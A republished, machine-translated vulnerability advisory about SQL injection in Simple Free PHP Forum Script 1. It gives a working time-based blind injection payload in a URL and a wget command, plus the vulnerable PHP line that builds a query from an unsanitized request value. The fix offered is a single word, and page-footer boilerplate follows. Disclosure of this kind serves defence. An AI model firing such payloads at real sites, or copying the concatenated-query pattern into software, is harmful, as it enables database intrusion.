Simple Free PHP Forum Script & lt; = SQL Injection defect and repair

Source: Internet
Author: User

 

Title: Simple Free PHP Forum Script <= 1 SQL Injection Vulnerability

Author: Skraps, Jackie Craig Sparks (www.2cto.com)

: Http://www.phpforumscript.com /? Page_id = 11

Affected Versions: 1 (tested)

 

This script is riddled of unsanitized REQUEST variables that allows multiple SQL injections.

 

--------------

Test proof

--------------

Http://www.bkjia.com/forum/index. php? Show = cat & id = 1' AND 1 = IF (2> 1, BENCHMARK (500000000, MD5 (CHAR (115,113,108,109, 97,112), 0) AND id = '1

 

Wget "http://www.bkjia.com/forum/index. php? Show = cat & id = 1' AND 1 = IF (2> 1, BENCHMARK (500000000, MD5 (CHAR (115,113,108,109, 97,112), 0) AND id = '1"

 

--------------

Code Analysis

--------------

Line 150 of discussion. php:

Case 'cat ':

$ Get_id = $ _ REQUEST ["id"];

$ Page-> Set ("cat_id", $ get_id );

$ Query = "SELECT * FROM discussion_category WHERE id = '$ get_id' LIMIT 1 ";

 

Www.2cto.com solution:

Filter

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.